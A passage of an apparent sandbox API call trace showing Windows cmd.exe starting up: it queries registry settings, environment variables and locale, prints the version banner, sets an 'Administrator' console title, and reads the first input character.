AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.420] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18fc40, dwLength=0x30 | out: lpBuffer=0x18fc40*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.420] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18fc40, dwLength=0x30 | out: lpBuffer=0x18fc40*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0032.420] GetConsoleOutputCP () returned 0x1b5 [0032.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac1bfe0 | out: lpCPInfo=0x4ac1bfe0) returned 1 [0032.420] SetConsoleCtrlHandler (HandlerRoutine=0x4ac03184, Add=1) returned 1 [0032.421] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.421] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0032.421] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.421] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4ac0e194 | out: lpMode=0x4ac0e194) returned 0 [0032.421] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.421] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4ac0e198 | out: lpMode=0x4ac0e198) returned 0 [0032.421] GetEnvironmentStringsW () returned 0x2a8a60* [0032.421] GetProcessHeap () returned 0x290000 [0032.421] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a94f0 [0032.421] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0032.421] GetProcessHeap () returned 0x290000 [0032.421] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8) returned 0x2a88e0 [0032.421] GetEnvironmentStringsW () returned 0x2a8a60* [0032.421] GetProcessHeap () returned 0x290000 [0032.422] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa7c) returned 0x2a9f80 [0032.422] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0032.422] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18eb98 | out: phkResult=0x18eb98*=0x44) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x18, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x1, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x1, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x0, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x40, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x40, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x40, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.422] RegCloseKey (hKey=0x44) returned 0x0 [0032.422] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18eb98 | out: phkResult=0x18eb98*=0x44) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x40, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x1, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x1, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x0, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x9, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.422] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x4, lpData=0x18ebb0*=0x9, lpcbData=0x18eb94*=0x4) returned 0x0 [0032.423] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18eb90, lpData=0x18ebb0, lpcbData=0x18eb94*=0x1000 | out: lpType=0x18eb90*=0x0, lpData=0x18ebb0*=0x9, lpcbData=0x18eb94*=0x1000) returned 0x2 [0032.423] RegCloseKey (hKey=0x44) returned 0x0 [0032.423] time (in: timer=0x0 | out: timer=0x0) returned 0x5d3b6c93 [0032.423] srand (_Seed=0x5d3b6c93) [0032.423] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0032.423] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0032.423] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.423] GetProcessHeap () returned 0x290000 [0032.423] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2aaa10 [0032.423] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2aaa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0032.423] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.423] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.423] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0032.423] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0032.423] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0032.423] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0032.423] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0032.423] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0032.423] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0032.423] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0032.424] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0032.424] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0032.424] GetProcessHeap () returned 0x290000 [0032.424] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a94f0 | out: hHeap=0x290000) returned 1 [0032.424] GetEnvironmentStringsW () returned 0x2a8a60* [0032.424] GetProcessHeap () returned 0x290000 [0032.424] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa94) returned 0x2aac30 [0032.424] FreeEnvironmentStringsW (penv=0x2a8a60) returned 1 [0032.424] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.424] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0032.424] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0032.424] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0032.424] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0032.424] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0032.424] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0032.424] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0032.424] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0032.424] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0032.424] GetProcessHeap () returned 0x290000 [0032.424] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5c) returned 0x2ab6d0 [0032.424] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f9a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18f9a0, lpFilePart=0x18f980 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f980*="Desktop") returned 0x25 [0032.424] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0032.425] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f6b0 | out: lpFindFileData=0x18f6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2ab740 [0032.425] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0032.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f6b0 | out: lpFindFileData=0x18f6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2ab740 [0032.425] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0032.425] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0032.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f6b0 | out: lpFindFileData=0x18f6b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb6bd5980, ftLastAccessTime.dwHighDateTime=0x1d543f6, ftLastWriteTime.dwLowDateTime=0xb6bd5980, ftLastWriteTime.dwHighDateTime=0x1d543f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2ab740 [0032.425] FindClose (in: hFindFile=0x2ab740 | out: hFindFile=0x2ab740) returned 1 [0032.425] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0032.425] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0032.425] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0032.425] GetProcessHeap () returned 0x290000 [0032.425] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aac30 | out: hHeap=0x290000) returned 1 [0032.425] GetEnvironmentStringsW () returned 0x2ab740* [0032.426] GetProcessHeap () returned 0x290000 [0032.426] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ac230 [0032.426] FreeEnvironmentStringsW (penv=0x2ab740) returned 1 [0032.426] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.426] GetProcessHeap () returned 0x290000 [0032.426] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab6d0 | out: hHeap=0x290000) returned 1 [0032.426] GetProcessHeap () returned 0x290000 [0032.426] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4016) returned 0x2acd20 [0032.426] GetProcessHeap () returned 0x290000 [0032.426] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acd20 | out: hHeap=0x290000) returned 1 [0032.426] GetConsoleOutputCP () returned 0x1b5 [0032.426] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac1bfe0 | out: lpCPInfo=0x4ac1bfe0) returned 1 [0032.426] GetUserDefaultLCID () returned 0x409 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ac17b50, cchData=8 | out: lpLCData=":") returned 2 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18fab0, cchData=128 | out: lpLCData="0") returned 2 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18fab0, cchData=128 | out: lpLCData="0") returned 2 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18fab0, cchData=128 | out: lpLCData="1") returned 2 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ac2a740, cchData=8 | out: lpLCData="/") returned 2 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ac2a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ac2a460, cchData=32 | out: lpLCData="Tue") returned 4 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ac2a420, cchData=32 | out: lpLCData="Wed") returned 4 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ac2a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ac2a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0032.427] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ac2a360, cchData=32 | out: lpLCData="Sat") returned 4 [0032.428] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ac2a700, cchData=32 | out: lpLCData="Sun") returned 4 [0032.428] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ac17b40, cchData=8 | out: lpLCData=".") returned 2 [0032.428] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ac2a4e0, cchData=8 | out: lpLCData=",") returned 2 [0032.428] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0032.428] GetProcessHeap () returned 0x290000 [0032.428] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20c) returned 0x2a95c0 [0032.428] GetConsoleTitleW (in: lpConsoleTitle=0x2a95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.429] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.430] GetFileType (hFile=0xf4) returned 0x3 [0032.430] BrandingFormatString () returned 0x2a97e0 [0032.442] GetVersion () returned 0x1db10106 [0032.442] _vsnwprintf (in: _Buffer=0x18fc20, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x18fbb8 | out: _Buffer="6.1.7601") returned 8 [0032.442] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.442] GetFileType (hFile=0xf4) returned 0x3 [0032.442] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4ac26340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0032.442] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4ac26340, nSize=0x2000, Arguments=0x18fbc0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0032.442] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0032.442] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18fb48, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fb48*=0x24, lpOverlapped=0x0) returned 1 [0032.443] _vsnwprintf (in: _Buffer=0x4ac26340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fbe8 | out: _Buffer="\r\n") returned 2 [0032.443] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.443] GetFileType (hFile=0xf4) returned 0x3 [0032.443] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.443] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fbb8*=0x2, lpOverlapped=0x0) returned 1 [0032.443] _vsnwprintf (in: _Buffer=0x4ac26340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x18fbe8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0032.443] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.443] GetFileType (hFile=0xf4) returned 0x3 [0032.443] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0032.444] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x18fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fbb8*=0x3f, lpOverlapped=0x0) returned 1 [0032.444] _vsnwprintf (in: _Buffer=0x4ac26340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fbe8 | out: _Buffer="\r\n") returned 2 [0032.444] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.444] GetFileType (hFile=0xf4) returned 0x3 [0032.444] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.444] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fbb8, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fbb8*=0x2, lpOverlapped=0x0) returned 1 [0032.444] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0032.444] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0032.444] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0032.444] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0032.444] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.444] GetFileType (hFile=0xe8) returned 0x3 [0032.444] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0032.444] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x18fa10 | out: TokenHandle=0x18fa10*=0x0) returned 0xc000007c [0032.444] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x18fa10 | out: TokenHandle=0x18fa10*=0x50) returned 0x0 [0032.444] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x18fa20, TokenInformationLength=0x4, ReturnLength=0x18fa28 | out: TokenInformation=0x18fa20, ReturnLength=0x18fa28) returned 0x0 [0032.444] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x18fa28, TokenInformationLength=0x4, ReturnLength=0x18fa20 | out: TokenInformation=0x18fa28, ReturnLength=0x18fa20) returned 0x0 [0032.444] NtClose (Handle=0x50) returned 0x0 [0032.444] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x18f9f0, nSize=0x0, Arguments=0x18f9f8 | out: lpBuffer="\x97e0\x2a") returned 0xf [0032.445] GetProcessHeap () returned 0x290000 [0032.445] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0032.445] GetConsoleTitleW (in: lpConsoleTitle=0x18fa40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0032.445] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0032.445] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0032.446] GetProcessHeap () returned 0x290000 [0032.446] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0032.446] LocalFree (hMem=0x2a97e0) returned 0x0 [0032.446] GetProcessHeap () returned 0x290000 [0032.446] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aaa10 | out: hHeap=0x290000) returned 1 [0032.446] _vsnwprintf (in: _Buffer=0x4ac26340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f728 | out: _Buffer="\r\n") returned 2 [0032.446] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.446] GetFileType (hFile=0xf4) returned 0x3 [0032.446] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.446] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f6f8, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18f6f8*=0x2, lpOverlapped=0x0) returned 1 [0032.446] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0032.446] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.446] _vsnwprintf (in: _Buffer=0x4ac0eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f738 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0032.446] _vsnwprintf (in: _Buffer=0x4ac0ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f738 | out: _Buffer=">") returned 1 [0032.446] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.446] GetFileType (hFile=0xf4) returned 0x3 [0032.447] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0032.447] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f728, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18f728*=0x26, lpOverlapped=0x0) returned 1 [0032.447] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.447] GetFileType (hFile=0xe8) returned 0x3 [0032.447] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.447] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.447] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 